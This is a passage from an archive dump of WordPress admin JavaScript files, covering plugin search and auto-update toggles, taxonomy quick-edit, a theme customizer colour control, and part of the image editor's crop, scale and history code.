); wp.updates.searchRequest = wp.ajax.post( 'search-plugins', data ).done( function( response ) { // Can we just ditch this whole subtitle business? var $subTitle = $( '<span />' ).addClass( 'subtitle' ).html( sprintf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' + _.escape( decodeURIComponent( data.s ) ) + '</strong>' ) ), $oldSubTitle = $( '.wrap .subtitle' ); if ( ! data.s.length ) { $oldSubTitle.remove(); $( '.subsubsub .' + data.plugin_status + ' a' ).addClass( 'current' ); } else if ( $oldSubTitle.length ) { $oldSubTitle.replaceWith( $subTitle ); } else { $( '.wp-header-end' ).before( $subTitle ); } $( 'body' ).removeClass( 'loading-content' ); $bulkActionForm.append( response.items ); delete wp.updates.searchRequest; if ( 0 === response.count ) { wp.a11y.speak( __( 'No plugins found. Try a different search.' ) ); } else { wp.a11y.speak( sprintf( /* translators: %s: Number of plugins. */ __( 'Number of plugins found: %d' ), response.count ) ); } } ); }, 500 ) ); /** * Trigger a search event when the search form gets submitted. * * @since 4.6.0 */ $document.on( 'submit', '.search-plugins', function( event ) { event.preventDefault(); $( 'input.wp-filter-search' ).trigger( 'input' ); } ); /** * Trigger a search event when the "Try Again" button is clicked. * * @since 4.9.0 */ $document.on( 'click', '.try-again', function( event ) { event.preventDefault(); $pluginInstallSearch.trigger( 'input' ); } ); /** * Trigger a search event when the search type gets changed. * * @since 4.6.0 */ $( '#typeselector' ).on( 'change', function() { var $search = $( 'input[name="s"]' ); if ( $search.val().length ) { $search.trigger( 'input', 'typechange' ); } } ); /** * Click handler for updating a plugin from the details modal on `plugin-install.php`. * * @since 4.2.0 * * @param {Event} event Event interface. */ $( '#plugin_update_from_iframe' ).on( 'click', function( event ) { var target = window.parent === window ? null : window.parent, update; $.support.postMessage = !! window.postMessage; if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'update-core.php' ) ) { return; } event.preventDefault(); update = { action: 'update-plugin', data: { plugin: $( this ).data( 'plugin' ), slug: $( this ).data( 'slug' ) } }; target.postMessage( JSON.stringify( update ), window.location.origin ); } ); /** * Handles postMessage events. * * @since 4.2.0 * @since 4.6.0 Switched `update-plugin` action to use the queue. * * @param {Event} event Event interface. */ $( window ).on( 'message', function( event ) { var originalEvent = event.originalEvent, expectedOrigin = document.location.protocol + '//' + document.location.host, message; if ( originalEvent.origin !== expectedOrigin ) { return; } try { message = JSON.parse( originalEvent.data ); } catch ( e ) { return; } if ( ! message ) { return; } if ( 'undefined' !== typeof message.status && 'undefined' !== typeof message.slug && 'undefined' !== typeof message.text && 'undefined' !== typeof message.ariaLabel ) { var $card = $( '.plugin-card-' + message.slug ), $message = $card.find( '[data-slug="' + message.slug + '"]' ); if ( 'undefined' !== typeof message.removeClasses ) { $message.removeClass( message.removeClasses ); } if ( 'undefined' !== typeof message.addClasses ) { $message.addClass( message.addClasses ); } if ( '' === message.ariaLabel ) { $message.removeAttr( 'aria-label' ); } else { $message.attr( 'aria-label', message.ariaLabel ); } if ( 'dependencies-check-success' === message.status ) { $message .attr( 'data-name', message.pluginName ) .attr( 'data-slug', message.slug ) .attr( 'data-plugin', message.plugin ) .attr( 'href', message.href ); } $message.text( message.text ); } if ( 'undefined' === typeof message.action ) { return; } switch ( message.action ) { // Called from `wp-admin/includes/class-wp-upgrader-skins.php`. case 'decrementUpdateCount': /** @property {string} message.upgradeType */ wp.updates.decrementCount( message.upgradeType ); break; case 'install-plugin': case 'update-plugin': if ( 'undefined' === typeof message.data || 'undefined' === typeof message.data.slug ) { return; } message.data = wp.updates._addCallbacks( message.data, message.action ); wp.updates.queue.push( message ); wp.updates.queueChecker(); break; } } ); /** * Adds a callback to display a warning before leaving the page. * * @since 4.2.0 */ $( window ).on( 'beforeunload', wp.updates.beforeunload ); /** * Prevents the page form scrolling when activating auto-updates with the Spacebar key. * * @since 5.5.0 */ $document.on( 'keydown', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) { if ( 32 === event.which ) { event.preventDefault(); } } ); /** * Click and keyup handler for enabling and disabling plugin and theme auto-updates. * * These controls can be either links or buttons. When JavaScript is enabled, * we want them to behave like buttons. An ARIA role `button` is added via * the JavaScript that targets elements with the CSS class `aria-button-if-js`. * * @since 5.5.0 */ $document.on( 'click keyup', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) { var data, asset, type, $parent, $toggler = $( this ), action = $toggler.attr( 'data-wp-action' ), $label = $toggler.find( '.label' ); if ( 'keyup' === event.type && 32 !== event.which ) { return; } if ( 'themes' !== pagenow ) { $parent = $toggler.closest( '.column-auto-updates' ); } else { $parent = $toggler.closest( '.theme-autoupdate' ); } event.preventDefault(); // Prevent multiple simultaneous requests. if ( $toggler.attr( 'data-doing-ajax' ) === 'yes' ) { return; } $toggler.attr( 'data-doing-ajax', 'yes' ); switch ( pagenow ) { case 'plugins': case 'plugins-network': type = 'plugin'; asset = $toggler.closest( 'tr' ).attr( 'data-plugin' ); break; case 'themes-network': type = 'theme'; asset = $toggler.closest( 'tr' ).attr( 'data-slug' ); break; case 'themes': type = 'theme'; asset = $toggler.attr( 'data-slug' ); break; } // Clear any previous errors. $parent.find( '.notice.notice-error' ).addClass( 'hidden' ); // Show loading status. if ( 'enable' === action ) { $label.text( __( 'Enabling...' ) ); } else { $label.text( __( 'Disabling...' ) ); } $toggler.find( '.dashicons-update' ).removeClass( 'hidden' ); data = { action: 'toggle-auto-updates', _ajax_nonce: settings.ajax_nonce, state: action, type: type, asset: asset }; $.post( window.ajaxurl, data ) .done( function( response ) { var $enabled, $disabled, enabledNumber, disabledNumber, errorMessage, href = $toggler.attr( 'href' ); if ( ! response.success ) { // if WP returns 0 for response (which can happen in a few cases), // output the general error message since we won't have response.data.error. if ( response.data && response.data.error ) { errorMessage = response.data.error; } else { errorMessage = __( 'The request could not be completed.' ); } $parent.find( '.notice.notice-error' ).removeClass( 'hidden' ).find( 'p' ).text( errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); return; } // Update the counts in the enabled/disabled views if on a screen // with a list table. if ( 'themes' !== pagenow ) { $enabled = $( '.auto-update-enabled span' ); $disabled = $( '.auto-update-disabled span' ); enabledNumber = parseInt( $enabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0; disabledNumber = parseInt( $disabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0; switch ( action ) { case 'enable': ++enabledNumber; --disabledNumber; break; case 'disable': --enabledNumber; ++disabledNumber; break; } enabledNumber = Math.max( 0, enabledNumber ); disabledNumber = Math.max( 0, disabledNumber ); $enabled.text( '(' + enabledNumber + ')' ); $disabled.text( '(' + disabledNumber + ')' ); } if ( 'enable' === action ) { // The toggler control can be either a link or a button. if ( $toggler[ 0 ].hasAttribute( 'href' ) ) { href = href.replace( 'action=enable-auto-update', 'action=disable-auto-update' ); $toggler.attr( 'href', href ); } $toggler.attr( 'data-wp-action', 'disable' ); $label.text( __( 'Disable auto-updates' ) ); $parent.find( '.auto-update-time' ).removeClass( 'hidden' ); wp.a11y.speak( __( 'Auto-updates enabled' ) ); } else { // The toggler control can be either a link or a button. if ( $toggler[ 0 ].hasAttribute( 'href' ) ) { href = href.replace( 'action=disable-auto-update', 'action=enable-auto-update' ); $toggler.attr( 'href', href ); } $toggler.attr( 'data-wp-action', 'enable' ); $label.text( __( 'Enable auto-updates' ) ); $parent.find( '.auto-update-time' ).addClass( 'hidden' ); wp.a11y.speak( __( 'Auto-updates disabled' ) ); } $document.trigger( 'wp-auto-update-setting-changed', { state: action, type: type, asset: asset } ); } ) .fail( function() { $parent.find( '.notice.notice-error' ) .removeClass( 'hidden' ) .find( 'p' ) .text( __( 'The request could not be completed.' ) ); wp.a11y.speak( __( 'The request could not be completed.' ), 'assertive' ); } ) .always( function() { $toggler.removeAttr( 'data-doing-ajax' ).find( '.dashicons-update' ).addClass( 'hidden' ); } ); } ); } ); })( jQuery, window.wp, window._wpUpdatesSettings ); inline-edit-tax.js 0000644 00000017165 15222552267 0010117 0 ustar 00 /** * This file is used on the term overview page to power quick-editing terms. * * @output wp-admin/js/inline-edit-tax.js */ /* global ajaxurl, inlineEditTax */ window.wp = window.wp || {}; /** * Consists of functions relevant to the inline taxonomy editor. * * @namespace inlineEditTax * * @property {string} type The type of inline edit we are currently on. * @property {string} what The type property with a hash prefixed and a dash * suffixed. */ ( function( $, wp ) { window.inlineEditTax = { /** * Initializes the inline taxonomy editor by adding event handlers to be able to * quick edit. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * @return {void} */ init : function() { var t = this, row = $('#inline-edit'); t.type = $('#the-list').attr('data-wp-lists').substr(5); t.what = '#'+t.type+'-'; $( '#the-list' ).on( 'click', '.editinline', function() { $( this ).attr( 'aria-expanded', 'true' ); inlineEditTax.edit( this ); }); /** * Cancels inline editing when pressing Escape inside the inline editor. * * @param {Object} e The keyup event that has been triggered. */ row.on( 'keyup', function( e ) { // 27 = [Escape]. if ( e.which === 27 ) { return inlineEditTax.revert(); } }); /** * Cancels inline editing when clicking the cancel button. */ $( '.cancel', row ).on( 'click', function() { return inlineEditTax.revert(); }); /** * Saves the inline edits when clicking the save button. */ $( '.save', row ).on( 'click', function() { return inlineEditTax.save(this); }); /** * Saves the inline edits when pressing Enter inside the inline editor. */ $( 'input, select', row ).on( 'keydown', function( e ) { // 13 = [Enter]. if ( e.which === 13 ) { return inlineEditTax.save( this ); } }); /** * Saves the inline edits on submitting the inline edit form. */ $( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() { t.revert(); }); }, /** * Toggles the quick edit based on if it is currently shown or hidden. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {HTMLElement} el An element within the table row or the table row * itself that we want to quick edit. * @return {void} */ toggle : function(el) { var t = this; $(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el); }, /** * Shows the quick editor * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {string|HTMLElement} id The ID of the term we want to quick edit or an * element within the table row or the * table row itself. * @return {boolean} Always returns false. */ edit : function(id) { var editRow, rowData, val, t = this; t.revert(); // Makes sure we can pass an HTMLElement as the ID. if ( typeof(id) === 'object' ) { id = t.getId(id); } editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id); $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length ); $(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>'); val = $('.name', rowData); val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="name"]', editRow).val( val ); val = $('.slug', rowData); val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="slug"]', editRow).val( val ); $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); $('.ptitle', editRow).eq(0).trigger( 'focus' ); return false; }, /** * Saves the quick edit data. * * Saves the quick edit data to the server and replaces the table row with the * HTML retrieved from the server. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {string|HTMLElement} id The ID of the term we want to quick edit or an * element within the table row or the * table row itself. * @return {boolean} Always returns false. */ save : function(id) { var params, fields, tax = $('input[name="taxonomy"]').val() || ''; // Makes sure we can pass an HTMLElement as the ID. if( typeof(id) === 'object' ) { id = this.getId(id); } $( 'table.widefat .spinner' ).addClass( 'is-active' ); params = { action: 'inline-save-tax', tax_type: this.type, tax_ID: id, taxonomy: tax }; fields = $('#edit-'+id).find(':input').serialize(); params = fields + '&' + $.param(params); // Do the Ajax request to save the data to the server. $.post( ajaxurl, params, /** * Handles the response from the server * * Handles the response from the server, replaces the table row with the response * from the server. * * @param {string} r The string with which to replace the table row. */ function(r) { var row, new_id, option_value, $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ), $error = $errorNotice.find( '.error' ); $( 'table.widefat .spinner' ).removeClass( 'is-active' ); if (r) { if ( -1 !== r.indexOf( '<tr' ) ) { $(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove(); new_id = $(r).attr('id'); $('#edit-'+id).before(r).remove(); if ( new_id ) { option_value = new_id.replace( inlineEditTax.type + '-', '' ); row = $( '#' + new_id ); } else { option_value = id; row = $( inlineEditTax.what + id ); } // Update the value in the Parent dropdown. $( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() ); row.hide().fadeIn( 400, function() { // Move focus back to the Quick Edit button. row.find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) ); }); } else { $errorNotice.removeClass( 'hidden' ); $error.html( r ); /* * Some error strings may contain HTML entities (e.g. `“`), let's use * the HTML element's text. */ wp.a11y.speak( $error.text() ); } } else { $errorNotice.removeClass( 'hidden' ); $error.text( wp.i18n.__( 'Error while saving the changes.' ) ); wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) ); } } ); // Prevent submitting the form when pressing Enter on a focused field. return false; }, /** * Closes the quick edit form. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * @return {void} */ revert : function() { var id = $('table.widefat tr.inline-editor').attr('id'); if ( id ) { $( 'table.widefat .spinner' ).removeClass( 'is-active' ); $('#'+id).siblings('tr.hidden').addBack().remove(); id = id.substr( id.lastIndexOf('-') + 1 ); // Show the taxonomy row and move focus back to the Quick Edit button. $( this.what + id ).show().find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } }, /** * Retrieves the ID of the term of the element inside the table row. * * @since 2.7.0 * * @memberof inlineEditTax * * @param {HTMLElement} o An element within the table row or the table row itself. * @return {string} The ID of the term based on the element. */ getId : function(o) { var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-'); return parts[parts.length - 1]; } }; $( function() { inlineEditTax.init(); } ); })( jQuery, window.wp ); customize-controls.js 0000644 00000001306 15222552267 0010775 0 ustar 00 /** * File customize-controls.js. * * Theme Customizer enhancements for a better user experience. * * Contains handlers to make Theme Customizer preview reload changes asynchronously. */ (function() { wp.customize.bind( 'ready', function() { // Only show the color hue control when there's a custom primary color. wp.customize( 'primary_color', function( setting ) { wp.customize.control( 'primary_color_hue', function( control ) { var visibility = function() { if ( 'custom' === setting.get() ) { control.container.slideDown( 180 ); } else { control.container.slideUp( 180 ); } }; visibility(); setting.bind( visibility ); }); }); }); })(); image-edit.js 0000644 00000117750 15222552267 0007132 0 ustar 00 /** * The functions necessary for editing images. * * @since 2.9.0 * @output wp-admin/js/image-edit.js */ /* global ajaxurl, confirm */ (function($) { var __ = wp.i18n.__; /** * Contains all the methods to initialize and control the image editor. * * @namespace imageEdit */ var imageEdit = window.imageEdit = { iasapi : {}, hold : {}, postid : '', _view : false, /** * Enable crop tool. */ toggleCropTool: function( postid, nonce, cropButton ) { var img = $( '#image-preview-' + postid ), selection = this.iasapi.getSelection(); imageEdit.toggleControls( cropButton ); var $el = $( cropButton ); var state = ( $el.attr( 'aria-expanded' ) === 'true' ) ? 'true' : 'false'; // Crop tools have been closed. if ( 'false' === state ) { // Cancel selection, but do not unset inputs. this.iasapi.cancelSelection(); imageEdit.setDisabled($('.imgedit-crop-clear'), 0); } else { imageEdit.setDisabled($('.imgedit-crop-clear'), 1); // Get values from inputs to restore previous selection. var startX = ( $( '#imgedit-start-x-' + postid ).val() ) ? $('#imgedit-start-x-' + postid).val() : 0; var startY = ( $( '#imgedit-start-y-' + postid ).val() ) ? $('#imgedit-start-y-' + postid).val() : 0; var width = ( $( '#imgedit-sel-width-' + postid ).val() ) ? $('#imgedit-sel-width-' + postid).val() : img.innerWidth(); var height = ( $( '#imgedit-sel-height-' + postid ).val() ) ? $('#imgedit-sel-height-' + postid).val() : img.innerHeight(); // Ensure selection is available, otherwise reset to full image. if ( isNaN( selection.x1 ) ) { this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } ); selection = this.iasapi.getSelection(); } // If we don't already have a selection, select the entire image. if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) { this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true ); this.iasapi.setOptions( { show: true } ); this.iasapi.update(); } else { this.iasapi.setSelection( startX, startY, width, height, true ); this.iasapi.setOptions( { show: true } ); this.iasapi.update(); } } }, /** * Handle crop tool clicks. */ handleCropToolClick: function( postid, nonce, cropButton ) { if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) { this.iasapi.cancelSelection(); imageEdit.setDisabled($('.imgedit-crop-apply'), 0); $('#imgedit-sel-width-' + postid).val(''); $('#imgedit-sel-height-' + postid).val(''); $('#imgedit-start-x-' + postid).val('0'); $('#imgedit-start-y-' + postid).val('0'); $('#imgedit-selection-' + postid).val(''); } else { // Otherwise, perform the crop. imageEdit.crop( postid, nonce , cropButton ); } }, /** * Converts a value to an integer. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} f The float value that should be converted. * * @return {number} The integer representation from the float value. */ intval : function(f) { /* * Bitwise OR operator: one of the obscure ways to truncate floating point figures, * worth reminding JavaScript doesn't have a distinct "integer" type. */ return f | 0; }, /** * Adds the disabled attribute and class to a single form element or a field set. * * @since 2.9.0 * * @memberof imageEdit * * @param {jQuery} el The element that should be modified. * @param {boolean|number} s The state for the element. If set to true * the element is disabled, * otherwise the element is enabled. * The function is sometimes called with a 0 or 1 * instead of true or false. * * @return {void} */ setDisabled : function( el, s ) { /* * `el` can be a single form element or a fieldset. Before #28864, the disabled state on * some text fields was handled targeting $('input', el). Now we need to handle the * disabled state on buttons too so we can just target `el` regardless if it's a single * element or a fieldset because when a fieldset is disabled, its descendants are disabled too. */ if ( s ) { el.removeClass( 'disabled' ).prop( 'disabled', false ); } else { el.addClass( 'disabled' ).prop( 'disabled', true ); } }, /** * Initializes the image editor. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ init : function(postid) { var t = this, old = $('#image-editor-' + t.postid); if ( t.postid !== postid && old.length ) { t.close(t.postid); } t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() ); t.postid = postid; $('#imgedit-response-' + postid).empty(); $('#imgedit-panel-' + postid).on( 'keypress', function(e) { var nonce = $( '#imgedit-nonce-' + postid ).val(); if ( e.which === 26 && e.ctrlKey ) { imageEdit.undo( postid, nonce ); } if ( e.which === 25 && e.ctrlKey ) { imageEdit.redo( postid, nonce ); } }); $('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) { var k = e.keyCode; // Key codes 37 through 40 are the arrow keys. if ( 36 < k && k < 41 ) { $(this).trigger( 'blur' ); } // The key code 13 is the Enter key. if ( 13 === k ) { e.preventDefault(); e.stopPropagation(); return false; } }); $( document ).on( 'image-editor-ui-ready', this.focusManager ); }, /** * Calculate the image size and save it to memory. * * @since 6.7.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ calculateImgSize: function( postid ) { var t = this, x = t.intval( $( '#imgedit-x-' + postid ).val() ), y = t.intval( $( '#imgedit-y-' + postid ).val() ); t.hold.w = t.hold.ow = x; t.hold.h = t.hold.oh = y; t.hold.xy_ratio = x / y; t.hold.sizer = parseFloat( $( '#imgedit-sizer-' + postid ).val() ); t.currentCropSelection = null; }, /** * Toggles the wait/load icon in the editor. * * @since 2.9.0 * @since 5.5.0 Added the triggerUIReady parameter. * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} toggle Is 0 or 1, fades the icon in when 1 and out when 0. * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false. * * @return {void} */ toggleEditor: function( postid, toggle, triggerUIReady ) { var wait = $('#imgedit-wait-' + postid); if ( toggle ) { wait.fadeIn( 'fast' ); } else { wait.fadeOut( 'fast', function() { if ( triggerUIReady ) { $( document ).trigger( 'image-editor-ui-ready' ); } } ); } }, /** * Shows or hides image menu popup. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The activated control element. * * @return {boolean} Always returns false. */ togglePopup : function(el) { var $el = $( el ); var $targetEl = $( el ).attr( 'aria-controls' ); var $target = $( '#' + $targetEl ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ); // Open menu and set z-index to appear above image crop area if it is enabled. $target .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } ); // Move focus to first item in menu when opening menu. if ( 'true' === $el.attr( 'aria-expanded' ) ) { $target.find( 'button' ).first().trigger( 'focus' ); } return false; }, /** * Observes whether the popup should remain open based on focus position. * * @since 6.4.0 * * @memberof imageEdit * * @param {HTMLElement} el The activated control element. * * @return {boolean} Always returns false. */ monitorPopup : function() { var $parent = document.querySelector( '.imgedit-rotate-menu-container' ); var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' ); setTimeout( function() { var $focused = document.activeElement; var $contains = $parent.contains( $focused ); // If $focused is defined and not inside the menu container, close the popup. if ( $focused && ! $contains ) { if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) { imageEdit.togglePopup( $toggle ); } } }, 100 ); return false; }, /** * Navigate popup menu by arrow keys. * * @since 6.3.0 * @since 6.7.0 Added the event parameter. * * @memberof imageEdit * * @param {Event} event The key or click event. * @param {HTMLElement} el The current element. * * @return {boolean} Always returns false. */ browsePopup : function(event, el) { var $el = $( el ); var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' ); var $index = $collection.index( $el ); var $prev = $index - 1; var $next = $index + 1; var $last = $collection.length; if ( $prev < 0 ) { $prev = $last - 1; } if ( $next === $last ) { $next = 0; } var target = false; if ( event.keyCode === 40 ) { target = $collection.get( $next ); } else if ( event.keyCode === 38 ) { target = $collection.get( $prev ); } if ( target ) { target.focus(); event.preventDefault(); } return false; }, /** * Close popup menu and reset focus on feature activation. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The current element. * * @return {boolean} Always returns false. */ closePopup : function(el) { var $parent = $(el).parent( '.imgedit-popup-menu' ); var $controlledID = $parent.attr( 'id' ); var $target = $( 'button[aria-controls="' + $controlledID + '"]' ); $target .attr( 'aria-expanded', 'false' ).trigger( 'focus' ); $parent .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ); return false; }, /** * Shows or hides the image edit help box. * * @since 2.9.0 * * @memberof imageEdit * * @param {HTMLElement} el The element to create the help window in. * * @return {boolean} Always returns false. */ toggleHelp : function(el) { var $el = $( el ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ) .parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' ); return false; }, /** * Shows or hides image edit input fields when enabled. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The element to trigger the edit panel. * * @return {boolean} Always returns false. */ toggleControls : function(el) { var $el = $( el ); var $target = $( '#' + $el.attr( 'aria-controls' ) ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ); $target .parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' ); return false; }, /** * Gets the value from the image edit target. * * The image edit target contains the image sizes where the (possible) changes * have to be applied to. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {string} The value from the imagedit-save-target input field when available, * 'full' when not selected, or 'all' if it doesn't exist. */ getTarget : function( postid ) { var element = $( '#imgedit-save-target-' + postid ); if ( element.length ) { return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full'; } return 'all'; }, /** * Recalculates the height or width and keeps the original aspect ratio. * * If the original image size is exceeded a red exclamation mark is shown. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The current post ID. * @param {number} x Is 0 when it applies the y-axis * and 1 when applicable for the x-axis. * @param {jQuery} el Element. * * @return {void} */ scaleChanged : function( postid, x, el ) { var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid), warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '', scaleBtn = $('#imgedit-scale-button'); if ( false === this.validateNumeric( el ) ) { return; } if ( x ) { h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : ''; h.val( h1 ); } else { w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : ''; w.val( w1 ); } if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) { warn.css('visibility', 'visible'); scaleBtn.prop('disabled', true); } else { warn.css('visibility', 'hidden'); scaleBtn.prop('disabled', false); } }, /** * Gets the selected aspect ratio. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {string} The aspect ratio. */ getSelRatio : function(postid) { var x = this.hold.w, y = this.hold.h, X = this.intval( $('#imgedit-crop-width-' + postid).val() ), Y = this.intval( $('#imgedit-crop-height-' + postid).val() ); if ( X && Y ) { return X + ':' + Y; } if ( x && y ) { return x + ':' + y; } return '1:1'; }, /** * Removes the last action from the image edit history. * The history consist of (edit) actions performed on the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} setSize 0 or 1, when 1 the image resets to its original size. * * @return {string} JSON string containing the history or an empty string if no history exists. */ filterHistory : function(postid, setSize) { // Apply undo state to history. var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = []; if ( history !== '' ) { // Read the JSON string with the image edit history. history = JSON.parse(history); pop = this.intval( $('#imgedit-undone-' + postid).val() ); if ( pop > 0 ) { while ( pop > 0 ) { history.pop(); pop--; } } // Reset size to its original state. if ( setSize ) { if ( !history.length ) { this.hold.w = this.hold.ow; this.hold.h = this.hold.oh; return ''; } // Restore original 'o'. o = history[history.length - 1]; // c = 'crop', r = 'rotate', f = 'flip'. o = o.c || o.r || o.f || false; if ( o ) { // fw = Full image width. this.hold.w = o.fw; // fh = Full image height. this.hold.h = o.fh; } } // Filter the last step/action from the history. for ( n in history ) { i = history[n]; if ( i.hasOwnProperty('c') ) { op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h, 'r': i.c.r } }; } else if ( i.hasOwnProperty('r') ) { op[n] = { 'r': i.r.r }; } else if ( i.hasOwnProperty('f') ) { op[n] = { 'f': i.f.f }; } } return JSON.stringify(op); } return ''; }, /** * Binds the necessary events to the image. * * When the image source is reloaded the image will be reloaded. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce to verify the request. * @param {function} callback Function to execute when the image is loaded. * * @return {void} */ refreshEditor : function(postid, nonce, callback) { var t = this, data, img; t.toggleEditor(postid, 1); data = { 'action': 'imgedit-preview', '_ajax_nonce': nonce, 'postid': postid, 'history': t.filterHistory(postid, 1), 'rand': t.intval(Math.random() * 1000000) }; img = $( '<img id="image-preview-' + postid + '" alt="" />' ) .on( 'load', { history: data.history }, function( event ) { var max1, max2, parent = $( '#imgedit-crop-' + postid ), t = imageEdit, historyObj; // Checks if there already is some image-edit history. if ( '' !== event.data.history ) { historyObj = JSON.parse( event.data.history ); // If last executed action in history is a crop action. if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) { /* * A crop action has completed and the crop button gets disabled * ensure the undo button is enabled. */ t.setDisabled( $( '#image-undo-' + postid) , true ); // Move focus to the undo button to avoid a focus loss. $( '#image-undo-' + postid ).trigger( 'focus' ); } } parent.empty().append(img); // w, h are the new full size dimensions. max1 = Math.max( t.hold.w, t.hold.h ); max2 = Math.max( $(img).width(), $(img).height() ); t.hold.sizer = max1 > max2 ? max2 / max1 : 1; t.initCrop(postid, img, parent); if ( (typeof callback !== 'undefined') && callback !== null ) { callback(); } if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) { $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false); } else { $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true); } var successMessage = __( 'Image updated.' ); t.toggleEditor(postid, 0); wp.a11y.speak( successMessage, 'assertive' ); }) .on( 'error', function() { var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' ); $( '#imgedit-crop-' + postid ) .empty() .append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); t.toggleEditor( postid, 0, true ); wp.a11y.speak( errorMessage, 'assertive' ); } ) .attr('src', ajaxurl + '?' + $.param(data)); }, /** * Performs an image edit action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce to verify the request. * @param {string} action The action to perform on the image. * The possible actions are: "scale" and "restore". * * @return {boolean|void} Executes a post request that refreshes the page * when the action is performed. * Returns false if an invalid action is given, * or when the action cannot be performed. */ action : function(postid, nonce, action) { var t = this, data, w, h, fw, fh; if ( t.notsaved(postid) ) { return false; } data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid }; if ( 'scale' === action ) { w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid), fw = t.intval(w.val()), fh = t.intval(h.val()); if ( fw < 1 ) { w.trigger( 'focus' ); return false; } else if ( fh < 1 ) { h.trigger( 'focus' ); return false; } if ( fw === t.hold.ow || fh === t.hold.oh ) { return false; } data['do'] = 'scale'; data.fwidth = fw; data.fheight = fh; } else if ( 'restore' === action ) { data['do'] = 'restore'; } else { return false; } t.toggleEditor(postid, 1); $.post( ajaxurl, data, function( response ) { $( '#image-editor-' + postid ).empty().append( response.data.html ); t.toggleEditor( postid, 0, true ); // Refresh the attachment model so that changes propagate. if ( t._view ) { t._view.refresh(); } } ).done( function( response ) { // Whether the executed action 